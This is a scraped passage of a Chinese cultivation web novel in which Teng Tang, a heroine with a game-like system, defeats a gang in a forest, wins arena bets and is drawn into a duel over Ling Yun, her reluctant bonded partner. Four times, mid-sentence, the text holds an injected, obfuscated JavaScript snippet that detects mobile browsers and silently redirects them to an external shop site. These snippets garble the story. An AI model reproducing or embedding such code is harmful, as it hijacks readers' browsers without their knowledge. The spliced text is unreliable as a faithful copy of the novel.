在他奋力跃过来的瞬间,其余人先后不一地御使灵剑,朝滕棠刺去。 杀意从四面八方袭来,滕棠踏陷地表,往空中跳着躲开。 筑基修者可以御行灵剑飞,元婴可以踏虚空而行,炼气期的菜鸟两种都不行,她只能靠轻盈矫健的身姿,再凭借对灵力的灵活运用,在数把剑之间穿梭。 虎戮的拳头,在她单手落地的时候,揍向她腹部灵根处。 滕棠弯过身子,腹部后弓,凝神取出大刀挡在身前,借其推力后退,躲开另一把剑。 剑随人灵力驱使,五颜六色的浅光在空中交杂,形成毛线团般的杂圈。滕棠完全无法判断他们从哪个方向刺来,唯有在剑快贴近她时迅速躲开。 虎戮拳头的威力不小,滕棠吃了一招,即使用大刀和灵力卸掉九分,剩下的一分伤及丹田,并不好受。 她像一阵捉摸不透的风,在树与树之间跳跃,躲避袭来的灵剑,时刻提防拳拳断骨的虎戮。 很快,这片区域的树都被灵剑斩倒,她的身影在他们的包围下,无处可躲。 虎戮斜起嘴角,蹦跳到滕棠面前,落地时双足深陷落叶泥地,看不到脚踝。他两拳重重撞了下,在滕棠躲避灵剑时,接连出招。 即将到来的生死危机,看得身上的鳞片惊悸。另一边,筑基分-身抓紧速度赶过来。 滕棠一直注意着虎戮的位置和动作,眼球忽上忽下,耳朵竖起来聆听风声,竭力躲避彩光剑雨。 虎戮出拳的速度变快,灵拳由远及近,威力加强。他大喝一声,两拳的火焰骤然长高两倍,跳起来找准机会朝滕棠的脑袋抡去。 同一时刻,那些剑怕伤到虎戮,七把退去,仅三柄向她背部刺来。滕棠等的就是这个时机,方才在腹部挨招时,就发现虎戮习惯近身打,而那些常御使灵剑远攻的修者,会因此束手束脚。 抽走体内所有灵气和储存条的一格,滕棠两腿滑过落叶,止住身体,伏着的上半身举起刀,在拳头挥过来的时候,用大刀和虎戮硬刚,背后两把弯月飞刀将三把灵剑嵌住。 滕棠接下一拳,并未后退半步,反而是虎戮被反震得朝后仰,差点摔倒。 滕棠引回副武器,踩住那三把抖动的灵剑,伸手抓握,强行收入背包之中。两把成功,一把不成功。 大多数修者都是剑修,但不是人人都有一把好剑。灵剑分低中高十品,低五品及以下的,没有滴血认主的器灵,可以被她强制取走;超过低五品的,是有主的灵物,系统背包不能收进去。 她无奈,只好蓄力一砍,把品阶不高的灵剑,断成两截。 十个剑修里,其中一人哇地吐出鲜血,被毁灭的器灵反噬,怨恨地瞪着滕棠。 虎戮惊异了下,很快站定,拳招更加凶猛,狠狠砸向滕棠的脑袋。他手臂的肌肉再次鼓起一圈,用出十足的力气对待前面瘦削的人,到底是低估了这个让弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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滕棠旋身撑地,落到一名弟子前,两把飞刀与其他剑交会,大刀则一举把炼气四层的弟子砍倒在地上。 她没有补刀,而是后退跃向其他人。 明月八角塔内禁止弟子间残杀,滕棠不会做这些破坏规则的事,她还需要等着虎戮和这些人慢慢养伤,恢复好了继续起来和她打。 反反复复的打斗,让滕棠对大刀和飞刀的运用愈发熟练,她现在可以同时操纵三样武器出招。她不知道这很大部分得益于识海中的精神力,误以为是系统帮了她。 很快,系统的灵力条恢复好了,滕棠气喘吁吁地转身,对刚吃药恢复好的虎戮微笑。 白皙温和的脸上,汗水颗颗滴落,水润弧弯的唇配着灼烈的眼神,在虎戮的眼里有些可怖。 虎戮的手臂刚耗尽灵力长出来,内腑之伤并未痊愈,他脸色苍白地屁股磨地,不断后退。 滕棠打趴他所有的小弟后,扛着半米大刀,走过来,微微曲腿,弯下腰鼓励他:“站起来,虎戮!虎戮站起来!” 21. 第 21 章 虎戮像见鬼一样,两脚直蹬,屁股后拱起一堆落叶。 滕棠真的是炼气二层?能把他们所有人击败,实力不可能在炼气二层,至少有炼气八层。他满头是汗,怀疑滕棠用了灵宝掩藏真实实力。 把大刀插进虎戮两腿之间,滕棠踢了踢他发颤的脚:“刚才那股气势呢?站起来和我打。” 他两只手刚恢复好,体内丹毒沉积,灵力全无,如何站起来与滕棠打?反观滕棠,像个没事人似的,毫发无损,比妖魔森内的厉鬼还要可怕。 就在虎戮恐慌的时候,附近传来几声“虎大哥”,让他稍稍收敛惧意。 拥趸他的师弟在场,不能在一个女人面前露怯。 虎戮抬头,瞋目怒视滕棠,恫吓道:“我和徐大师兄情同手足,识相的话把身上的东西全交出来,跪下来给爷爷道歉,兴许饶你不死。” “你说的是掌门之子徐扉盛?”滕棠笑容更甚。 不知为何,虎戮觉得,面前的滕棠浑身充满怒焰。他头顶汗如雨下,不停吞咽口水:“对,你今日打伤我们,徐师兄不会放过你。” “巧了。” 滕棠一秒变脸,拽着他的腰带,单手把壮汉提起来,仰高纤弱的脖子,满面愠色:“徐扉盛当初杀了一个叫滕棠的无辜女子,被我记在账上。” 话毕,她松开手,一脚将虎戮踢飞,而后头也不回,朝其余人走去。 [当前击败12人] [连胜48] “休息好了吧?休息好了就起来和我打!把你们刚才的精气神拿出来。” 滕棠的目光在十人中逡巡,犹如凶兽寻找猎物。凡是与她目光相接的,都如同遭受雷殛,忙不迭避开视线,心里默念:别过来。 他们不主动,滕棠唯有自己主动,挑挑选选,拉一两个站起来,然后打趴,再拉两个起来,再打趴,如此反复来完成她的第一届[雄霸天下]活动。 妖魔森的这片区域,惨叫声不断,虎戮和他的手下被打得满头是包,身子骨一动就痛,偏偏逃不出滕棠的魔爪,跑几步就被抓回来,美名其曰进行“友好切磋”。 那边筑基分-身下至一层,在滕棠鼓励虎戮站起来时,岑云岭便停止了步伐。他沉默地顿足原地,思索一番,随后转身回到四层。 滕棠身上迷雾重重,他看不透,必然有他查探不出的绝世珍宝在身。 神龙敏锐的感官能洞悉一切宝物,无论是仙器还是神器。他观察数日,滕棠身上没有任何异宝的波动,甚是奇特。 龙傲天在和祥天门的大师姐聊得畅快,见他回来得如此快,惊奇问道:“见到人了,聊得这么快?” 岑云岭目光神游,敷衍地点了下头,仍在思考滕棠究竟有什么秘密宝贝。 妖魔森内,惨叫声持续不断,令附近的妖魔鬼怪以及各门派弟子,闻之不敢靠近。 “站起来!不要怂!过来打我!” 森林的某块光秃秃区域内,响起这么一道鼓舞人心的声音,清亮悦耳,中气略有不足,带着点女子的柔婉。 滕棠两手空空,前面横七竖八躺了十一个人,皆恐惧战栗着,趴在地上求饶。 “不敢了,我再也不敢了,滕师妹饶命!” 有三个直接抱在一起涕泗横流,默喊滕棠是怪物,灵力和精力像永远用不完似的,和他们打这么久没歇息半刻。 “可我还差三个。” 滕棠关闭活动界面,和他们商量:“你们派三个出来最后打一架,打完我就走,你们以后想来一雪前耻,随时欢迎。” 虎戮怨气淤结,两只眼睛赤红充血,对滕棠怀恨在心,却又打不过她。伸腿踢了踢身边的三人,他呲牙道:“起来!” 被他叫起来的三人,一脸苦瓜相,揉了揉胳膊,畏葸不前,怯怯地恳求着:“师妹下手轻些。” 动作轻了,他们还有站起来的力气,系统会判定没把对方打败。 滕棠砍几轮下来,气早消了,看他们模样实在可怜,干脆就此住手,好心劝道:“我们本无仇,你弟弟虎凌欺人太甚在先,他如果没招惹我,现在已为外门弟子,一切是你们咎由自取。” 还剩三个,可以去竞技切磋的区域完成,正好看看那边的情况。 滕棠掐个净身诀,整理一番仪容,昂首阔步地潇洒离去,带着空间满满的物品去往明月一城。 她不担心虎戮去找徐扉盛,徐扉盛肯定在四层及以上,短时间不会下来,而虎戮又上不了四层。等他们联系上,她凭借没日没夜地疯狂打怪,早升级了。 滕棠边走边锤炼自身,没注意到凌云出现在前面,一不小心撞了上去,鼻子压在硬邦邦的胸膛上,有点疼。 她退一步,先是仰头看向凌云光滑的喉咙,确认她是女子后,再看对方头上的[3级],感叹道:“单灵根涨得真快。” 带伙伴作战胜利,伙伴也能获得经验。只是滕棠没想到,就那点经验,能让凌云一下子升到3级。 比滕棠高出一个头的美人,垂眸时傲雪凌霜,鸦羽般的乌丝被墨簪简单绾起,伸出修长的手,点了下滕棠的眉心。 “炼气期竟能辟出识海。” 抑不住兴致,岑云岭冷漠的面上,眼尾生出点弧度:“方才你与虎戮等人起冲突,为何能让生死契分予我灵力?且传我后,你的实力并无变化。” 滕棠对她没什么好感,不愿过多解释,更不愿暴露系统的存在,越过她,小声嘀咕:“白蹭我经验,该对我说声谢谢。” 凌云跟在她身后:“什么?” 滕棠瞥她一眼,脚步微顿,尝试在脑海里解除与凌云的伙伴关系。 然而[伙伴]栏的右下角有串小字,提醒她:[伙伴结契后,不可解除,请玩家谨慎选择。] 凌云曾试图杀自己,还坑她在受戒台被罚,此事想忘都难。她们现在既是伙伴,亦是仇人。 滕棠皱了下眉,对凌云道:“龙傲天在第四层,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032680|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以去找他,或者出塔等他,你上次应该瞧见了,拿我要挟龙傲天没有用。” 凌云拂了下袖,往前踏一步:“我必须随你而行,你若身处危险,那生死契于我不利。” 滕棠没听过什么生死契,想来应该是她那个伙伴系统搞的鬼。 如果凌云知晓生死契的存在,那么其余二人是否同样得知,正在四处寻找她?还有…… “你能攻击我吗?”滕棠转头问。 游戏中,玩家可以和伙伴比试,有各种互动功能,现在这些都没有了,甚至在她砸鳞片时,警告她不可伤及伙伴。 凌云怔住,忽然神色冰寒:“我想杀了你!” 墨黑的双眸古井无波,遏制住杀意,他收回脸色,略偏头问:“你从何处学的上古灵契?” “不告诉你。”滕棠乜她一眼,快步走出妖魔森。 女人何苦为难女人。她也想和凌云好好相处,但前有旧仇,现又聊得不愉快,二人关系实在好不起来。 两位一前一后,沉默地进入明月一城,只字未说,氛围古怪得路人频频回头,猜想这两位美人发生了什么矛盾。 滕棠全然将凌云当透明人,拐进一家店铺,把手伸进储物袋,挪系统背包的物品进去,交给掌柜:“卖货。” 掌柜查探储物袋中的物品,发现质量都不错,兽皮切割完美,灵肉保存新鲜,妖核魔核好几十个,很爽快地达成交易。 “姑娘收拾处理得很干净,少有遇到,我给你价高点,五百中品灵石?” 滕棠一路走来,有观察铺子内的价格,这个掌柜给的价确实比市场价高,满意地点头:“成交。” 五百灵石对不少弟子来说,是笔巨款,不买灵器符篆,可以用很长一段时间。 在滕棠这里,塞牙缝都不够。她把灵石放进系统背包,自动转变成财富,氪了个限时优惠礼包、新人礼包……续了个月卡,半分钟不到,五天辛辛苦苦赚的钱,没了。 礼包里几乎是打造装备的材料,比直接在商城购买便宜,还附赠一条绿松石项链,[+2]基础攻击。 滕棠的十二个格子,除了主副武器点亮,其余十个还是空的。她把绿松石项链放进格子,下一秒就感觉到脖子上多了个东西。 她伸手摸了摸,衣领内凹凸不平的珠子有些硌手。送的物品虽是普通装备,好过没有,现在十二格子装备了三个,还差九个。 主武器和副武器都要升级打造,各需要100精铁,其余格子打造要50精铁,算下来要花一万四千中品灵石,如果把所有VIP卡氪上,把优惠礼包买下来,应该能便宜点。 一万四千,这要打多少天怪才能赚到,滕棠算完后倒吸一口气,游戏氪金果然是个无底洞。以后版本不断更新,等级和装备也会出新的,永无止境,砸再多钱进去,恐怕都填不满。 不管了,先去竞技切磋的区域,把第一届[雄霸天下]的大奖拿到手,将低级装备打造上。 22. 第 22 章 卖完东西,滕棠边走边算,思考着拿到奖励后,怎么使用更节约划算。 她身后一直沉默的凌云,似是困扰已久,询问她:“如何解开灵契?” 滕棠驻足,耸耸肩道:“不好意思,解不开,我也想解开,你要是有疑问,可以去那蝙蝠洞查查,我也不知道怎么回事,在那里跟你绑上了,可能洞内有什么古怪吧。” 她说完摸摸鼻子,眼睛瞟向凌云,对方根本不信。但要滕棠说实话,是不可能的。 “你可以不用跟着我。”滕棠宽慰她:“放心。我没你想象那么脆弱,惜命得很,轻易不会死。” 凌云个子高,宽肩窄腰,闭口不言时是个冷美人,高高在上如同一枝覆着冰雪的傲梅,令人不好接近。 她往前一步,和滕棠并肩而行,语调烧了她全身的冰霜,能听出愤然的情绪:“既解不开,我必须保你活着。” 十二件仙器中,明月八角塔的主人低估了他金丹分-身,下的封印不强,让他在万年里养了两具分-身逃出来。 他一具分-身毁了,不过是再费力养一具出来。但滕棠不同,她仅此一命,她若魂飞魄散,便会毁掉他所有。 滕棠察觉到她的顾虑,心想也是,任谁的命和别人捆绑在一起都不好受,时刻担忧对方的生死,何况自己炼气二层的五灵根,在众多修者眼里是个活不过百年的废物。 凌云天生单水灵根,纵使为魔修,也是世上鲜有的天才。 滕棠想通后,忽而对旁边高挑的女子莞尔一笑:“你要杀我,我反把你魔功毁了,还无意结成生死契,算是扯平。” 想起男主的事,她又道:“你也和龙傲天有仇对么?我们不如结盟为友,你拿走他的戒指,我讨回当初的公道。” 她以为,有生死契在,凌云会无奈同意。未料,对方颇为不屑地冷笑一声,孤傲道:“我纡尊降贵与你为友?荒诞无稽!” 瞧着旁边人难看的脸色,凌云的长睫阖过两下,缓和地说:“你若想拜我为师,我可勉为其难考虑一下,助你速升灵力,以免百年后,老死在黄土里。” 滕棠心头一梗,仿佛吃馒头被噎到,笑容逐渐消失,正过身,走向擂台区:“谢谢,有被气到。” 竞技切磋区域比明月一城还要热闹,由于处在一层,弟子数量庞大,几乎每个擂台都挤满了人。 各门派的弟子齐聚此处,人声鼎沸。滕棠逛了一圈,发现这里可以押注,露出兴奋的神色,难怪这么热闹。 她还差三个连胜,就能拿到[雄霸天下]的大奖,五天后到手一堆中品灵石,外加热气球和九色猫。一想到这些东西,上辈子只能看土豪获得,现在可以自己争取,登时有些激动。 擂台上比试的弟子,实力都在炼气四层左右,滕棠看了两三场,发现大家身手都很青涩,坚持的时长不到一盏茶,灵力体力很快耗尽,仓促结束一场比试。 “全是些废物。”凌云在一旁说着,语气里满是轻蔑。 滕棠本不想理她,掏了掏储物袋,突然想起钱花光了,不得不转头问:“你身上有钱不?” 凌云未答,侧眸盯了她两秒。 滕棠以为她会出言耻笑,却没想到下一秒,对方甩给她一袋灵石:“就这么多,不得太贪婪,我护你安危,是许多人求而不得之事……” “谢了,待会儿还你。” 滕棠打断她,勉强笑笑,暗忖凌云真是个怪人。 在擂台区边缘管事那里报了名,滕棠跟着一名炼气二层的仆从走。 仆从一直劝她快放弃,此处不是她能来的地方。滕棠走在前面,泰然自若地登上台,把灵石登记在公判处,等着其他弟子迎战。 有人见她给自己押了注,仿若看到待宰的羔羊,兴奋地涌过来,即使没对手也押她对面。 炼气二层,好久没遇见一个白痴了。 很快,台上跃出一名女修,炼气四层,手持鞭子对滕棠道:“真大方,你押一千块中品灵石,待会儿白送给我们可不要心疼。我姑且让你一招,不以大欺小。” 滕棠等了会儿,见过来押注的人够多,摇头拒绝:“不必让我。” “哈,那我就不客气收下了!” 女修甩鞭过来,噼里啪啦的火球飞向滕棠的脸面,没留余地。 滕棠在灵力的协助下,迅速躲开,大刀和飞刀都未取出,两手空空地冲过去和女人搏斗。 她手上覆盖一层厚厚的五色灵力,抓住甩过来的火鞭,系统的灵力是无灵根属性的,她可以提取出来,自由选择用于哪种灵力。 对付火灵根,当然是强盛的水灵根与土灵为好。滕棠抓住鞭子后,手上蓝色和褐色的灵力大涨,化形为水土,把火焰熄灭。 对面的女人大惊失色,台下本来欢呼的声音戛然而止。 鞭子有个坏处,一旦被敌人掌握,会处在两难的境地。滕棠将她拽过来,左掌打向她腹部,把人推出擂台无法站起来。 附近的擂台都很吵闹,唯独滕棠这里死一样的安静。底下众人仰着头,对刚才几秒发生的事,不敢相信。 叱咤门的三师姐怎会输,还是被炼气二层的一招打下擂台。 “她是五灵根,我看见了。”底下忽然有人反应过来,大叫道:“她的灵力有五个颜色。” “什么!” “难怪能打赢三师姐。” 底下嘁嘁喳喳,滕棠兀自走向公判,指往她这方孤零零站着的凌云:“所获灵石给她,押注的本金给我。” 老人在这里当了多年公判,什么奇事没遇到过,抽走10块中品灵石当酬劳后,全数交予获胜的押注者。 滕棠这边,只有她一人押,打一场半分钟不到,赢得1720中品灵石。她拿走凌云的本金,把一千七百多放到凌云手上。 “真不和我结拜姐妹?”滕棠再次询问。 修真路漫漫,好友难求,像她们这样结成生死契的,普天之下恐怕没几人。凌云虽和自己气场不合,但短期目标是一致的,那就是打倒龙傲天。 凌云不客气地收好灵石,一身尊贵的气质难掩,面无表情道:“你精神力天赋极佳,我可考虑收你为徒。” 我拿你当姐妹,你却想做我师父,滕棠腹诽,在擂台边缘蹲下身,无视身后吵吵闹闹叫她“赔钱”的呼声,问凌云:“你多大了,想当我师父。” 看面相,最多二十岁,滕棠猜测道。 凌云轻睨她一眼,缄默了片刻,回她:“二十岁……零一万五千八百二十一年。” 人群嚷嚷着吵过来,滕棠只听见前半段“二十岁”,忽略了后面接着的一串数字,拍拍凌云的肩:“我十八,以后我们就是姐妹了。” 强行当完姐妹,滕棠起身,朝那些输钱的人道:“我再押一千,不服的上来和我打!” 一听她愿意继续,底下刚赔了灵石的,立马喊来一个炼气五层的双灵根弟子,上去和滕棠切磋。 那人和绝大多数修者一样,是个剑修,只是他的剑比其余人更宽更重,双手拎起时,威风赫赫。 滕棠不敢掉以轻心,拿出自己的大刀,和此人交战。 刀光和黑色剑影交汇,重剑的持有者明显比上一人强,他不仅灵力可以和滕棠抗衡,且剑式繁多,黑影铺天盖地攻来,使滕棠不能近身。 此人剑术了得,在虎戮的拳术之上,能弥补灵力的不足。 滕棠接下几招后,暗自吃惊,再看对方身上的衣服,领口的金丝祥云,恍然大悟,难怪年纪轻轻如此厉害,竟是祥天门内门弟子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032681|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对面的少年约莫十五六岁,浓眉大眼,样貌还留有稚嫩,见滕棠能以炼气二层的实力承受他的剑威,“呀”了一声,赞叹道:“这位师姐好身手。” 滕棠不爱商业互吹,“嗯”了声,提刀蓄力,再次砍过去。 少年的重剑很强,身手比她灵活,但败在擂台太窄,其灵力不够浑厚。 滕棠这一刀,用了十成力量,挥过去,脆弱的擂台裂出缝隙,那道柔和的刀光带着骇人的威压,犹如摔了座山过去,将重剑少年横扫下台。 少年咳嗽两声,在下方敬佩道:“我名陆诞,敢问师姐名讳?” 滕棠与那双亮晶晶的双目对视,摆摆手:“其实你没输,是场地限制了你的发挥。” 如果没有范围局限,以少年的身手,完全能躲过她那一刀。 “不,输了便是输了。”陆诞被他师兄朱牧隶扶起来。 朱牧隶不像他那么好脾气,提剑上台:“跩什么跩,服灵药提的实力罢了,往后丹毒损伤灵根,追悔莫及。” 朱牧隶有炼气七层的实力,灵剑不凡,全身上下戴满饰物,无一不是贵物,说完就要御剑刺来。 滕棠躲开,朝公判道:“等一下,我不比了。” 看那边几个祥天门的小孩,这人明显不属于仙塔一层,是来带同门师弟历练的。 公判出手阻止,朱牧隶气急败坏:“有种与我切磋!” “我没种。” 滕棠把灵石领走后,跳下擂台,转身走上另一边等待对手的方台,十分不要脸地给自己这方押注。 那名本来信心满满的炼气四层弟子,见她上来,起初想笑话二层的实力也敢接受比试,但还未出声,就发现一群人骂骂咧咧地把他们擂台包围,指着女子谩骂。 “还钱!”“赔钱!” “你有本事跟祥天门的人比!” “欺负炼气四层的弟子有什么意思。” …… 滕棠的对面,男子挠挠头,没听太明白,他岂会被炼气二层的女子欺负? 发现大家都押女子,不押他,他十分不满。 御使灵剑,他接连出招,剑式为春风沐雨,每滴雨都是一根针,毛毛细雨随剑而出,扎人身上,奇痛无比。 男人的剑一出,看到滕棠娇弱病白的肌肤,以及纤瘦盈握的体态,又心生不忍。剑上的毛雨霎时减弱,剑尖偏差,刺向她腋下,想着把美人带下台即可,留个好名声。 然而美人却没他想象中那么不堪一击,握起大刀时,摇身一变,小白花变霸王花,一刀朝他挥来。下一瞬,剑插在台上,他人躺在台下。 [(烟花)恭喜胜利!] [连胜100] [恭喜玩家荣登第一届‘雄霸天下’榜首,斩获三项大奖!(活动结束后发放至玩家邮箱)] …… 滕棠完成任务,收获满满地跳下台,被祥天门的朱牧隶拦住:“你敢不敢和我比试?” “不敢。”滕棠坦然道,一点都不羞涩。 陆诞拉住朱牧隶的手,带着歉意道:“我会劝住朱师兄,这位师姐快离开吧。” 朱牧隶身为师兄,要维护门派风光,教导后辈祥天门的地位无可撼动,于是一巴掌打在陆诞脑袋上:“祥天门没有懦夫,让别人看笑话。” 他叫那些孩子把陆诞拉走,拔剑对准滕棠:“今日你不接受也得接受,祥天门不容人挑衅。” 另一边,凌云顶着[4级]的标识,优哉游哉地走过来,同她道:“祥天门乃明月大陆第一门派,和福鹿宗素来有仇,你为附属门派鹿焰宗的外门弟子,把他们内门弟子打下台,他觉得有失脸面。” 凌云的一顿解释,没缓解矛盾不说,反而戳到朱牧隶的气管。 23. 第 23 章 “我真是谢谢你……的旁白。”滕棠与凌云对视,皮笑肉不笑。 白嫖她经验到炼气四层,还坑她一把,真是修真界好姐妹啊!滕棠如果身高够,真想捂住凌云的嘴。 祥天门在明月大陆的地位,万年未变。在仙塔内,其弟子常年横行跋扈,没有人敢挑衅他们,其余门派修者在擂台上和他们切磋,皆是丢兵弃甲地早早认输,怕拔到狮子的毛。 这一点,作为修真小白的滕棠也是才意识到,她犯了大忌,想要安稳地在塔内修行,刚才不该和陆诞切磋。 难怪底下赔钱的押注者会把陆诞叫来,目的是想让她不战而败。谁知她不懂潜在的规矩,直接把少年横扫下台。 朱牧隶明显被惹怒,转头叱责这位比他还高的女人:“你又是哪个门派的?不着门派服饰,有违塔中规矩。” 祥天门弟子的衣服,内门绣金色祥云,外门绣银色祥云,云纹越金黄闪烁,穿戴者地位越高。朱牧隶身上的金色云纹,绣有四分之一满,在内门处在下等。 “她的灵兽。”凌云摇身一变,在冷冷的白烟中幻形为蟒,朝滕棠贴近。 灵兽化人形很常见,要么靠天赋悟通,要么服下幻人丹,不是逸闻轶事。 蛇信子嘶嘶吐着,纯白鳞片在光照下赫赫炎炎,亮色美不胜收,巨大的蛇头立起,高贵而冷冽的气质令在场众人噤声。 朱牧隶诧异地瞪大眼,忽而露出着迷的神情,伸手一步步走向凌云:“白炙蟒……竟然是白炙蟒!” 凌云面前竖起一道冰墙,将他阻挡在外。扭过蟒身,绯红的竖瞳晶莹剔透,盯得滕棠发毛。她怕蛇,这条巨蟒更是使她汗毛直竖,忍不住后退。 原来凌云的本体是蟒蛇,怪不得她对她第一印象是个“冷”字。 “你有什么条件,我都答应你,与我同行,绝对比跟着五灵根废物强!” 朱牧隶态度大变,收起怒火,朝凌云礼仪周到地递出一个宝盒:“方才多有得罪,这是筑基丹,姑娘想要什么丹药,跟我回祥天门,都可以满足。” 越来越多人聚集过来,擂台上空空如也,无人再切磋。连公判和管事都离开自己的位置,在人堆里直呼:“明月大陆竟有白炙蟒的存在!” 焦点一下子从滕棠转移,变动到凌云身上。 滕棠不知道白炙蟒是什么,不过看大家的惊奇程度,应是很罕见的灵兽。 但她分明记得,凌云的本体不是一片黑色鳞片么?旁边的白蟒她从未见过,蟒的鳞片是菱形,和她所捡到的那片水滴形不同,颜色也有异处,从晦曜的墨黑色,转变成纯白色。 莫非凌云在伪装白炙蟒,以欺骗众人的方式帮她摆脱困境?这么想着,滕棠对凌云的讨厌减少几分。 凌云吐了下蛇信子,蟒尾立起,缠上滕棠的手腕。那冰冷的触感,惊得她差点跳起,一下子甩开。 “有眼不识泰山!” 朱牧隶看见滕棠的反应后,嘲讽道:“白炙蟒体内有一丝神龙之血,可化为蛟龙,岂是你能支使的灵兽?” 白蟒晃动尾巴,转瞬又变成一米八八的高冷美人,扫眼全场,清越的声音煞是好听:“呵,支使?她还不配!” 凌云毫不客气地收下朱牧隶的盒子,对他同样不屑道:“你同样不配。” 刹那间,滕棠刚生起的两分好感,破碎得稀里哗啦。 朱牧隶心有不甘,昂头扬言:“我祥天门在明月大陆屹立万年之久,你跟我走,灵丹宝器要什么有什么。她就一个鹿焰宗外门弟子,五灵根日后连筑基期都突破不了,和她结伴,没有好处。” “不无不可。”凌云指向他腰上的玉佩:“要有诚意。”仙品石材被拿来雕成中品灵佩,犹如视珍珠为泥丸,糟践浪费。 此物到他手中,随便凿凿,给滕棠拿来护身,或许能在他照看不及时,保她一命。 滕棠不想待在这儿,继续听他们谈判,打个弯准备悄悄离开。 “想走?”一把剑横在她面前,朱牧隶闪身过来:“你不回应我的切磋邀请,是怕身旁的姑娘发现你是个废物吧,五灵根也就炼气期出出风头,等我筑基了,你还停留在此时的阶段。” 滕棠赢得[雄霸天下]活动大奖,心情还算不错,没被他激起情绪,平静地拱手。 “这位祥天门师兄,我承认你与陆诞师弟都比我厉害,我自愧不如,刚才能赢靠的是运气,所以,能否让个道?” 俗话说伸手不打笑脸人,她无论是语气还是动作都很礼貌,还说了捧场话,对方合该消散火气,放过自身吧。 祥天门名声太盛,滕棠也怕招惹后影响自身修行。她五灵根体质,该有的修行必不可少,一直仰仗系统,自身不突破到筑基期,练到100级也只能活一百多年。 因此她的时间经不起浪费,需要挤海绵似的,在练级的同时,刻苦修行,早日突破至筑基期。 但她不知朱牧隶的小气程度。 朱牧隶平时嚣张惯了,这么久以来,第一次看人不顺眼,而且还是个娇滴滴的美人。 他掏出一张符纸,落下自己的名字,有些小人作派地道:“今日我有幸遇见白炙蟒,却缠在一介废物身上,可叹可惜,你们想走,需过我这一关,废物赢了,我放你们走,废物输了,白姑娘请跟我走。” “她姓凌,叫凌云。” 滕棠纠正完,低头看向符纸上的字,把朱牧隶的名字记在仇恨本本上,不解问:“我又没阻拦你们谈话与去留,关我何事?你们成亲我都没意见。” 她心想,要不自己先离开,等走远了,用系统召唤伙伴的选项,再把凌云召唤回来。 这下换凌云那张目中无人的脸裂了,他好心帮她,以白炙蟒的身份,让朱牧隶送出腰上的玉佩,结果滕棠就这么抛下他走人? 掰住滕棠的肩,他幽幽开口:“别忘了,我与你结有契。” 朱牧隶一听,误以为凌云在幼时被滕棠欺骗,结成主兽符契,怒气冲天:“灵兽性子至纯,你竟然骗白姑娘结契,此刻装无辜给谁看,原来鹿焰宗弟子竟如此无耻。符契只要双方同意,便能解除,你还不快给我解了!” “都说了,她姓凌,不姓白……” 要是能解除伙伴就好了,滕棠无语凝噎。 这么闹下去,事情只会变得更糟糕。滕棠想了想,接过他的生死状符纸,歪歪扭扭写下自己的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032682|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在末端添一句:六日后切磋,不伤及双方性命。 写完,符纸成契,在空中燃烧,两丝红色的符契钻入双方丹田。 这是滕棠第一次感受到契约的存在,她想起凌云说的生死契,然而之前在洞内,并未有契约之力钻进她体内。 看来和凌云结的不是自身,是游戏系统。凌云的生死不会影响到自己,反而自己挂了,等同于系统毁灭,凌云会被牵连到。 “六日,哼,给你六年你都打不过我。符契既成,你逃走会损伤丹田,对往后修行大不利,好自为之。” 朱牧隶收回灵剑,取下腰间玉佩,热情递予凌云:“初次遇见白姑娘,不知送什么好,这块玉佩有防身妙用,还请收下。等我收拾完欺骗你结契之人,白姑娘就自由了。” 凌云正当要接,中间突然插一只手。滕棠把东西推回去,侧头对凌云小声道:“长点心眼,父母没教导过你么,不要随便收陌生人的东西。” 随后她挡在凌云前头,对朱牧隶道:“我签了符契,在切磋前,望朱道友莫要再当拦路虎,一而再再而三勾搭我的灵兽。” 朱牧隶鼻孔一翕一张,太阳穴上白筋凸起,碍于众人在场,发怒有损容仪。他压抑着怒火,紧握玉佩让开道。 他念了声符契上的名字“滕棠”,磨牙道:“不伤及性命,但可以使你半死。” 滕棠装作什么都没听到,提刀淡然走出切磋擂台,往仙塔试炼的方向行去。 进入无人的区域,凌云走在她后边,愠怒道:“我假幻为白炙蟒,本是因这玉佩,你为何要拒绝,且签那符纸?” 果然白炙蟒是她变出来的,不是真身。 “是吗?你确定是在帮我,不是在害我?”滕棠反问。 凌云腿长,两步走至她身侧:“当然。” 滕棠不理解,自顾自说道:“如果我表现出心服口服,愿意认输。朱牧隶得了台阶又拿回脸面,或许不会跟我计较。” 